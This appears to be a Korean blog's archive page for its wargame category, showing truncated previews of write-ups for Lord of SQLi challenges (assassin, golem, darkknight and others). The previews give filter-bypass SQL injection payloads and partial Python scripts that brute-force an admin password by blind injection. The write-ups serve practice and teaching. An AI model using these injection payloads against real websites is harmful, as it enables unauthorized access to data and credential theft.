본문 바로가기

워게임200

assassin pw - ' 필터링 여기서 like를 사용한다. like는 정규식같이 _ * 같은 것을 사용할 수 있다. 여기서는 조건에 맞는 사용자가 존재만 하면 되니까 _를 반복해서 이용했다. admin의 pw 길이가 guest와 다를 수 있어 코드로 돌렸더니 값이 안나온다. guest와 동일한 길이를 갖고있는데 guest만 출력된다고 추측할 수 있다. import requests temp = "" cookies={"PHPSESSID":""} for i in range(1,9): flag = 0 for c in range(44,123): passwd = temp passwd += chr(c) passwd += "_"*(8-i) url = "https://los.rubiya.kr/chall/assassin_14a1fd.. 2021. 10. 2.
giant shit의 길이가 1이어야 한다? shit이 whitespace, 개행, carriage return, tab 필터링 ?shit=%0b ??? 바로 풀렸다 공백 우회를 구글링하면 바로 알 수 있다. 2021. 10. 2.
bugbear no - prob _ . () ' substr ascii = or and whitespace like 0x 필터링 pw - ' 필터링 1. pw 길이 알아내기 띄어쓰기 우회 -> %0a ' 우회 -> " like 우회 -> in ?pw=a&no=0||id in ("admin") && length(pw) in (8)%23 ?pw=a&no=0%7C%7C%0aid%0ain%0a("admin")%26%26length(pw)%0ain%0a(8)%23 2. pw 알아내기 ?pw=a&no=0%7C%7C%0aid%0ain%0a(%22admin%22)%0a%26%26%0aright(left(pw,{i}),1)%0ain%0a(char({c}))%23 import requests password = "" for i in r.. 2021. 10. 2.
darkknight pw -> single quote 필터링 no -> prob _ . () single quote substr ascii = 필터링 대충 이런식으로 익스하면 되겠다. ?pw=0&no=1 or id like "admin"%23 1. pw 길이 구하기 import requests i=0 cookies = {"PHPSESSID":""} while True: url = f"https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?pw=0&no=1%20or%20id%20like%20%22admin%22%20and%20length(pw)%20like%20{i}%23" res = requests.get(url, cookies=cookies).. 2021. 10. 2.
golem prob _ . () 필터링 or and substr( = 필터링 1. pw length 구하기 = 대신 like를 사용했다. ' || id like 'admin' && length(pw) like 1# import requests i = 1 while True: url = f"https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw=%27%20%7C%7C%20id%20like%20%27admin%27%20%26%26%20length(pw)%20like%20{i}%23" cookies = {"PHPSESSID":""} res = requests.get(url, cookies=cookies) if "Hello admin" in re.. 2021. 10. 2.
skeleton prob _ . () 필터링 MySQL에서 and 연산이 or 보다 우선순위가 높다는 것을 알고있다. ?pw=' or id='admin' or id='admin 2021. 10. 2.